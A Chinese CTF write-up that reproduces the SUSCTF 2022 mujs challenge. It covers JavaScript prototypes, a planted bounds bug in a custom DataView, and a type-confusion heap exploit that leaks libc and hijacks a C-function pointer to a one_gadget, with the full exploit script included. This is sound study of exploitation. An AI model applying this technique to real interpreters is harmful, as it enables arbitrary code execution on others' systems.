0%

JavaScript pwn+类型混淆

mujs 复现

没有遇见过的 pwn

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.3) stable release version 2.31

根据题目信息,先学习 mujs 是什么东西

MuJs 简述

MuJS 是一个轻量级的 JavaScript 解释器,用于嵌入到其他的软件中提供脚本执行功能,使用可移植 C 编写,实现了 ECMA-262 规定的 ECMAScript 标准

MuJS 包含一个简单的可执行程序 mujs,它通过调用 MuJS 库提供一套标准的 javascript 解释器,作为 javasript 的交互终端或者批处理命令执行平台

1
2
3
➜  release ./mujs
Welcome to MuJS 1.2.0.
>
  • 启动解释器 mujs 后,可以输入 JavaScript 代码
1
2
3
4
5
6
7
mujs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=27979cb2ff1c7a6765b5243c3aaad6c609e88108, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
  • 64位,dynamically,全开

先通过题目给的哈希下载 MuJS 源码:

1
dd0a0972b4428771e6a3887da2210c7c9dd40f9c 

使用 diff 命令对比源码和题目文件的差异,找出需要分析的目标:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  桌面 diff mujs susctf2022_mujs 
只在 susctf2022_mujs 存在:build # ignore
mujs/docs 和 susctf2022_mujs/docs 有共同的子目录
只在 mujs 存在:.gitattributes # ignore
只在 mujs 存在:.gitignore # ignore
diff --color mujs/jsbuiltin.c susctf2022_mujs/jsbuiltin.c
diff --color mujs/jsbuiltin.h susctf2022_mujs/jsbuiltin.h
diff --color mujs/jscompile.c susctf2022_mujs/jscompile.c
只在 susctf2022_mujs 存在:jsdataview.c # target
diff --color mujs/jsdump.c susctf2022_mujs/jsdump.c
diff --color mujs/jsgc.c susctf2022_mujs/jsgc.c
diff --color mujs/jsi.h susctf2022_mujs/jsi.h
diff --color mujs/jsobject.c susctf2022_mujs/jsobject.c
diff --color mujs/json.c susctf2022_mujs/json.c
diff --color mujs/jsstate.c susctf2022_mujs/jsstate.c
diff --color mujs/jsvalue.h susctf2022_mujs/jsvalue.h
diff --color mujs/main.c susctf2022_mujs/main.c
diff --color mujs/mujs.h susctf2022_mujs/mujs.h
diff --color mujs/one.c susctf2022_mujs/one.c
diff --color mujs/pp.c susctf2022_mujs/pp.c
diff --color mujs/regexp.c susctf2022_mujs/regexp.c
mujs/tools 和 susctf2022_mujs/tools 有共同的子目录
  • 可以发现以上这些模块或多或少都有差异,不知道是版本问题还是魔改了源码
  • 只在 susctf2022_mujs 存在:jsdataview.c,先重点分析这个文件

Bindiff 恢复符号

由于题目给出了源码,可以用 Bindiff 的 IDA 插件来获取源文件的符号

先利用题目给出的代码编译一个有符号的文件:

1
make debug

1663899331395

在 IDA 中使用 Bindiff 插件:

1663899574810

  • 注意:Bindiff 不支持中文路径

选中需要恢复的符号,然后选择导入(一般选择相似度在 0.8 以上的函数,但这个题目推荐用字符串来定位函数位置)

1663899924065

JavaScript 数据类型

值类型(基本类型):字符串(String),数字(Number),布尔(Boolean),空(Null),未定义(Undefined),Symbol

引用数据类型(对象类型):对象(Object),数组(Array),函数(Function),正则(RegExp),日期(Date)

  • 将变量的值设置为空 Null 来清空变量
  • 未定义 Undefined 表示变量不含有值
  • 对象也是一个变量,但对象可以包含多个值(多个变量),每个值以 name:value 对呈现
1
var person = {firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"};
  • 所有的 JavaScript 变量都是对象,数组元素是对象,函数是对象
  • 因此,你可以在数组中有不同的变量类型,你可以在一个数组中包含对象元素、函数、甚至是其它数组:
1
2
3
4
5
var myCars=new Array("Saab","Volvo","BMW");
var myArray=new Array();
myArray[0]=Date.now; // 对象元素
myArray[1]=myFunction; // 函数
myArray[2]=myCars; // 数组

JavaScript 类型系统

我们经常用两个维度去描述一个编程语言的特性:

  • 强类型与弱类型,这是从 类型安全 的维度分类
  • 静态类型与动态类型,这是从 类型检查 的维度分类

强类型 :要求语言层面限制函数的实参类型必须与形参类型相同

弱类型 : 语言层面不会限制实参的类型

下面是一个例子,用于对比强类型的 Java 和弱类型的 JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Java(强类型)
class Main {
// 这里定义了传入的参数是int类型,那么实际的时候也应该是int类型
static void foo(int num) {
System.out.printIn(num);
}

public static void main(Sting[] args) {
// 下面的如果int类型就通过,如果不是int类型就会报错
Main.foo(100); // ok
Main.foo('100'); // error "100" is a string
Main.foo(Integer.parseInt("100")); // ok
}
}
1
2
3
4
5
6
7
8
9
// JavaScript(弱类型)
function foo(num) {
// 传的时候没有规定是什么类型,那么实参是什么类型都不会报错
console.log(num)
}

foo(100) // ok
foo('100') // ok
foo(parseInt('100')) // ok
  • 强类型语言中不允许有任何的隐式类型转换,而弱类型语言则允许任意的数据隐式类型转换

静态类型:一个变量声明时它的类型就是明确的,声明过后,类型不能修改

动态类型:运行阶段才可以明确变量的类型,而且变量的类型随时可以改变。所以动态类型语言中的变量没有类型,变量中存放的值时有类型的

下面举个例子:

1
2
3
4
5
6
7
8
9
10
// Java(静态类型)
class Main {
public static void main(String[] args) {
// 一开始就定了num的类型是int,不能修改成string
int num = 100;
num = 50; // ok
num = '100' // error
System.out.printInt(num);
}
}
1
2
3
4
5
6
7
// JavaScript(动态类型)
var num = 100
// 可以随意修改num的类型
num = 50 // ok
num = '100' // ok
num = true // ok
console.log(num)

JavaScript 是一个弱类型且动态类型的语言

参考:JavaScript类型系统

JavaScript 构造函数

有时我们需要创建相同“类型”的许多对象的“蓝图”(类似于C语言中的结构体)

1
2
3
4
5
6
function Person(first, last, age, eye) {
this.firstName = first;
this.lastName = last;
this.age = age;
this.eyeColor = eye;
}
  • 在 JavaScript 中,被称为 this 的事物是代码的“拥有者”
  • 在构造器函数中,this 是没有值的,它是新对象的替代物,当一个新对象被创建时,this 的值会成为这个新对象(有点像 python 中的 self

创建一种“对象类型”的方法,是使用对象构造器函数,在上面的例子中,函数 Person() 就是对象构造器函数

通过 new 关键词调用构造器函数可以创建相同类型的对象:

1
2
var myFather = new Person("Bill", "Gates", 62, "blue");
var myMother = new Person("Steve", "Jobs", 56, "green");

构造器函数中也可以定义方法:

1
2
3
4
5
6
7
8
9
function Person(firstName, lastName, age, eyeColor) {
this.firstName = firstName;
this.lastName = lastName;
this.age = age;
this.eyeColor = eyeColor;
this.changeName = function (name) {
this.lastName = name;
};
}
1
2
var myFriend = new Person("Bill", "Gates", 62, "blue");
myFriend.changeName("Jobs");
  • 通过用 myFriend 替代 this,JavaScript 可以获知目前处理的哪个 person

构造函数中的资源浪费:

1
2
3
4
5
6
7
8
9
10
11
12
13
function Person(firstName, lastName, age, eyeColor) {
this.firstName = firstName;
this.lastName = lastName;
this.age = age;
this.eyeColor = eyeColor;
this.changeName = function (name) {
this.lastName = name;
};
}

let p1 = new Person('yhellow','chunk',99,'red')
let p2 = new Person('yhellow','chunk',99,'red')
console.log(p1.changeName == p2.changeName) // false
  • 实例对象 p1,p2 拥有完全一样的内容,但是其属性方法却是不同的
  • 关键字 function 需要在 heap 中开辟一片空间,用于存放 function 的代码,然后把这片地址返回出去
  • 两个实例对象 p1,p2 导致一模一样 function 被重复写入了两次,这就造成了资源浪费

常规解决办法:

  • 使用全局函数:可以直接把 function 变为全局函数,在构造函数中赋值其地址就行了,但这种方法会污染全局变量
  • 使用对象:把这些全局函数用一个专业的对象组织起来,这些函数就变成这个对象的属性了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let obj = {
fn1: function(){
console.log('chunk1')
},
fn2: function(){
console.log('chunk2')
},
fn3: function(){
console.log('chunk3')
},
}

function Person(firstName, lastName, age, eyeColor) {
this.firstName = firstName;
this.lastName = lastName;
this.age = age;
this.eyeColor = eyeColor;
this.fun1 =obj.fn1
this.fun2 =obj.fn2
this.fun3 =obj.fn3
}

let p1 = new Person('yhellow','chunk',99,'red')
let p2 = new Person('yhellow','chunk',99,'red')
console.log(p1.fun1 == p2.fun1) // true
  • 这种方法可以避免资源浪费,也可以防止全局变量污染,但它自己还是会污染全局变量
  • 为了解决这个问题,JavaScript 会为每个构造器创建一个原型对象,这个原型对象可以起到和上述 obj 对象一样的作用
  • PS:原型对象不是对象,而是属性

JavaScript 原型对象

在 JavaScript 中每个构造器(函数)都有一个内置属性叫 prototype,它叫原型 ,也是个对象,我们叫这个对象为原型对象

在 Chrome 浏览器中按 Ctrl+Shift+J 启动控制台,创建一个对象并查看其属性:

1658554021983

  • 可以发现该对象中有一个 [[prototype]] 属性,指向该属性的原型对象 String

1658554308594

  • 继续展开 [[prototype]],发现它也有 [[prototype]] 属性,指向 String 的原型对象 Object

这些就很清晰了,每一个对象都有一个内置属性叫 prototype,指向该属性的原型对象(Object 没有 prototype,因为 Object 是所有对象的基础),所有的 JavaScript 对象都会从一个 prototype(原型对象)中继承属性和方法:

  • Date 对象从 Date.prototype 继承
  • Array 对象从 Array.prototype 继承
  • Person 对象从 Person.prototype 继承
  • 所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例

如果上述案例不使用全局对象 obj,而是使用原型对象的话,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function Person(firstName, lastName, age, eyeColor) {
this.firstName = firstName;
this.lastName = lastName;
this.age = age;
this.eyeColor = eyeColor;
}

Person.prototype.fun1 = function(){
console.log('chunk1')
}
Person.prototype.fun2 = function(){
console.log('chunk2')
}
Person.prototype.fun3 = function(){
console.log('chunk3')
}

let p1 = new Person('yhellow','chunk',99,'red')
let p2 = new Person('yhellow','chunk',99,'red')
console.log(p1.fun1 == p2.fun1) // true
  • 打印 p1 的信息如下:

1658558381899

  • fun1,fun2,fun3 都在 [[prototype]](Person.prototype)中,并且会被 Person 继承

JavaScript new 一个对象的过程:

  • 创建一个空对象
  • 将空对象的原型指向构造函数的原型(继承函数的原型)
  • 将属性和方法添加至这个对象(改变 this 各个条目的指向)
  • 对构造函数返回值的处理判断(忽略返回的基本类型,只返回引用类型)

案例,以下代码可以模拟 new 的过程,产生和 new 一样的效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Fun(age,name){
this.age = age;
this.name = name;
}

function create(fn, ...args){
var obj = {}; // 创建一个空对象
Object.setPrototypeOf(obj,fn.prototype) // 将空对象的原型指向构造函数的原型
var result = fn.apply(obj,args); // 将属性和方法添加至这个对象
return result instanceof Object ? result : obj; // 对构造函数返回值的处理判断
}

console.log(new Fun(18,'yhellow'))
console.log(create(Fun,18,'yhellow'))

1658627038107

DataView 视图

DataView 视图是一个可以从 ArrayBuffer 对象中读写多种数值类型的底层接口,在读写时不用考虑平台字节序问题

1
new DataView(buffer [, byteOffset [, byteLength]])
  • buffer:一个 ArrayBufferSharedArrayBuffer 对象,DataView 对象的数据源
  • byteOffset:可选,此 DataView 对象的第一个字节在 buffer 中的偏移,如果不指定则默认从第一个字节开始
  • byteLength:可选,此 DataView 对象的字节长度,如果不指定则默认与 buffer 的长度相同

PS:后来发现题目中的 DataView 和 DataView 视图没有多大的关系,题目的 DataView 有点像作者为 mujs 写的插件,内在逻辑都是自定义的

参考:DataView (DataView) - JavaScript 中文开发手册

漏洞分析

程序的代码量有点大,但通过 diff 命令可以得到 jsdataview.c 文件是题目独有的,漏洞点极有可能在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static void Dv_setUint8(js_State *J)
{
js_Object *self = js_toobject(J, 0);
if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView");
size_t index = js_tonumber(J, 1);
uint8_t value = js_tonumber(J, 2);
if (index < self->u.dataview.length+0x9) { /* target */
self->u.dataview.data[index] = value;
} else {
js_error(J, "out of bounds access on DataView");
}
}

static void Dv_getUint32(js_State *J)
{
js_Object *self = js_toobject(J, 0);
if (self->type != JS_CDATAVIEW) js_typeerror(J, "not an DataView");
size_t index = js_tonumber(J, 1);
if (index+3 < self->u.dataview.length) { /* target */
js_pushnumber(J, *(uint32_t*)&self->u.dataview.data[index]);
} else {
js_pushundefined(J);
}
}
  • setUintN 用于将无符号的N位整数存储在指定位置
  • getUintN 用于获取存储在指定位置的无符号N位整数

漏洞点还是比较明显的:

  • Dv_setUint8 向后溢出 9 字节
  • Dv_getUint32 向前溢出 3 字节

但是要真正利用这个漏洞,还必选理解程序的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void jsB_initdataview(js_State *J)
{
js_pushobject(J, J->DataView_prototype);
{
jsB_propf(J, "DataView.prototype.getUint8", Dv_getUint8, 1);
jsB_propf(J, "DataView.prototype.setUint8", Dv_setUint8, 2);
jsB_propf(J, "DataView.prototype.getUint16", Dv_getUint16, 1);
jsB_propf(J, "DataView.prototype.setUint16", Dv_setUint16, 2);
jsB_propf(J, "DataView.prototype.getUint32", Dv_getUint32, 1);
jsB_propf(J, "DataView.prototype.setUint32", Dv_setUint32, 2);
jsB_propf(J, "DataView.prototype.getLength", Dv_getLength, 0);
}
js_newcconstructor(J, jsB_new_DataView, jsB_new_DataView, "DataView", 0);
js_defglobal(J, "DataView", JS_DONTENUM);
}
  • 有点类似于“注册函数”,把 JavaScript 层函数名称和 C 层的具体函数进行绑定
  • 设置了创建函数 jsB_new_DataView
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void jsB_new_DataView(js_State *J) {
int top = js_gettop(J);
size_t size;

if (top != 2) {
js_typeerror(J, "new DataView expects a size");
}
size = js_tonumber(J, 1);

js_Object *obj = jsV_newobject(J, JS_CDATAVIEW, J->DataView_prototype);
obj->u.dataview.data = js_malloc(J, size);
memset(obj->u.dataview.data, 0, size);
obj->u.dataview.length = size;
js_pushobject(J, obj);
}
  • 创建了一个 js_Object 结构体,js_malloc 申请了一个堆块

类型混淆+堆风水

先看看 js_Object 结构体中的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct js_Object
{
enum js_Class type;
int extensible;
js_Property *properties;
int count; /* number of properties, for array sparseness check */
js_Object *prototype;
union {
int boolean;
double number;
struct {
const char *string;
int length;
} s;
struct {
int length;
} a;
struct {
js_Function *function;
js_Environment *scope;
} f;
struct {
const char *name;
js_CFunction function;
js_CFunction constructor;
int length;
void *data;
js_Finalize finalize;
} c;
js_Regexp r;
struct {
js_Object *target;
js_Iterator *head;
} iter;
struct {
const char *tag;
void *data;
js_HasProperty has;
js_Put put;
js_Delete delete;
js_Finalize finalize;
} user;
struct {
uint32_t length;
uint8_t* data;
} dataview;
} u;
js_Object *gcnext; /* allocation list */
js_Object *gcroot; /* scan list */
int gcmark;
};
  • js_Object 的第一个字节可以被覆盖,而它表示该对象的类型
  • 因此必须用堆风水把有溢出的 dataview.data 申请到 js_Object 前面

在此之前先分析一下程序的流程:

  • main:注释掉了大部分的内置函数,只留下了个 print,控制权交给 js_dofile
  • js_dofile:调用 js_loadfile 设置栈,调用 js_call 运行代码
  • js_call:从栈中获取 obj, 然后这个 obj 就是要调用的函数,最后进入 jsR_run
  • jsR_run:获取 opcode 并执行,C层的代码会通过 jsR_callcfunction 进行调用

测试样例:

1
2
3
4
5
6
7
8
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
e = DataView(0x48);
f = DataView(0x1000 * 0x1000);
/* jsB_new_DataView:0x555555571870 */
/* Dv_setUint8:0x555555577680 */
  • 首次执行 jsB_new_DataView 堆环境很乱,这是因为程序在 jsB_init 中对各种类型进行了初始化,导致 heap 出现了许多 free chunk 和 tcache,扰乱了后续的分配
  • PS:Bindiff 对 jsB_new_DataView 的识别不是很到位,所以这里推荐用字符串来定位该函数
1
2
3
4
5
6
7
Allocated chunk | PREV_INUSE
Addr: 0x5555555c2af0 /* dataview.data */
Size: 0x51

Allocated chunk | PREV_INUSE
Addr: 0x5555555c2b40 /* js_Object */
Size: 0x71
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x5555555c2b40
00:00000x5555555c2b40 ◂— 0x0
01:00080x5555555c2b48 ◂— 0x71 /* 'q' */
02:00100x5555555c2b50 ◂— 0x100000010 /* type:dataview */
03:00180x5555555c2b58 —▸ 0x55555559b0a0 —▸ 0x555555585089 ◂— 0x6d6172676f727000
04:00200x5555555c2b60 ◂— 0x0
05:00280x5555555c2b68 —▸ 0x5555555a5780 ◂— 0x100000010
06:00300x5555555c2b70 ◂— 0x48 /* length */
07:00380x5555555c2b78 —▸ 0x5555555c2bc0 ◂— 0x0
  • 可以利用漏洞修改 js_Object->type,从而造成类型混淆
  • 核心思路就是:利用 js_Object 的联合体中,占用相同内存位置的其他类型字符来修改 js_Object.u.dataview.length,导致更大的堆溢出
  • 联合体中的 js_Object.u.dataview.length js_Object.u.c.name js_Object.u.number 占用同一内存位置(由于指针需要8字节对齐,dataview.length 在联合体中应该占用8字节,因此不用担心覆盖后面的 dataview.data
1
2
3
4
5
6
7
8
9
10
11
12
13
static void js_setdate(js_State *J, int idx, double t)
{
js_Object *self = js_toobject(J, idx);
if (self->type != JS_CDATE)
js_typeerror(J, "not a date");
self->u.number = TimeClip(t);
js_pushnumber(J, self->u.number);
}

static void Dp_setTime(js_State *J)
{
js_setdate(J, 0, js_tonumber(J, 1));
}
  • 函数 setTime 可以修改 js_Object.u.number,因此我们修改 dataviewdate,执行完 setTime 后再改回来:
1
2
3
4
5
b.setUint8(0x48+8, 10); // set c type to Date
Date.prototype.setTime.bind(c)(1.09522e+12) // write number + length
/* c.setTime(0) */
b.setUint8(0x48+8, 16); // set c type back to DataView
print(c.getLength())
  • 这里不能直接使用 c.setTime(0), 对象的 prototype 在我们一创建的时候其实就已经确定了,所以当我们改变 type 的时候 prototype 并没有改变
  • prototype 基本就已经定义了这个对象可以调用哪些方法
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x5555555c2b40
00:00000x5555555c2b40 ◂— 0x0
01:00080x5555555c2b48 ◂— 0x71 /* 'q' */
02:00100x5555555c2b50 ◂— 0x10000000a /* type:date */
03:00180x5555555c2b58 —▸ 0x55555559b0a0 —▸ 0x555555585089 ◂— 0x6d6172676f727000
04:00200x5555555c2b60 ◂— 0x0
05:00280x5555555c2b68 —▸ 0x5555555a5780 ◂— 0x100000010
06:00300x5555555c2b70 ◂— 0x426fe0065ea00000 /* length */
07:00380x5555555c2b78 —▸ 0x5555555c2bc0 ◂— 0x0
  • 这之后就可以泄露 libc_base 了
  • 最后修改某个 dataviewtypeJS_CCFUNCTIONenum-4),在 js_call 可以调用函数指针 obj->u.c.function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void js_call(js_State *J, int n)
{
js_Object *obj;
int savebot;

......

} else if (obj->type == JS_CCFUNCTION) {
jsR_pushtrace(J, obj->u.c.name, "native", 0);
jsR_callcfunction(J, n, obj->u.c.length, obj->u.c.function);
--J->tracetop;
}

BOT = savebot;
}
  • 覆盖这里为 one_gadget 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
b = DataView(0x68);
a = DataView(0x48);
b = DataView(0x48);
c = DataView(0x48);
e = DataView(0x48);
f = DataView(0x1000 * 0x1000);

b.setUint8(0x48+8, 10); // set c type to Date
Date.prototype.setTime.bind(c)(1.09522e+12) // write number + length
b.setUint8(0x48+8, 16); // set c type back to DataView
print(c.getLength())

sh32 = 4294967296 // 1<<32
libb_addr_off = 472
libc_leak = c.getUint32(libb_addr_off) + (c.getUint32(libb_addr_off+4)*sh32)

libc_off = 0x7ffff7c31000 - 0x7ffff6bfe010 // got this from gdb
libc_base = libc_leak + libc_off
print('libc base:', libc_base.toString(16))

one_gag = libc_base + 0xe6af4
print('onegadget:', one_gag.toString(16))

e_obj_off = 192
c.setUint8(160, 4) // this sets type to JS_CCFUNCTION

// set lower 4 bytes of js_CFunction function
c.setUint32(e_obj_off+8, one_gag&0xffffffff)

// set upper 4 bytes of js_CFunction function
c.setUint32(e_obj_off+8+4, Math.floor(one_gag/sh32)&0xffffffff)
e() // e is now a function so we can call it

小结:

这应该是我复现的第一个 JavaScript 解释器(拖了好久了),第一次接触这种题目时,发现堆风水根本看不懂,于是放着了…

后来我在各个可能会申请内存的函数中打上断点,调试了一会网上的 wp 才弄清楚了一点堆风水,感觉这种题目还是没法完全掌握 heap 的分配情况(尤其是没有符号,大大增加了调试和逆向的难度),所以探索 heap 排布就只能靠尝试(目前太菜了,没有什么好方法)

最后学到了一个类型混淆的利用技术,感觉也是比较套路化的,只要把堆风水搞好就问题不大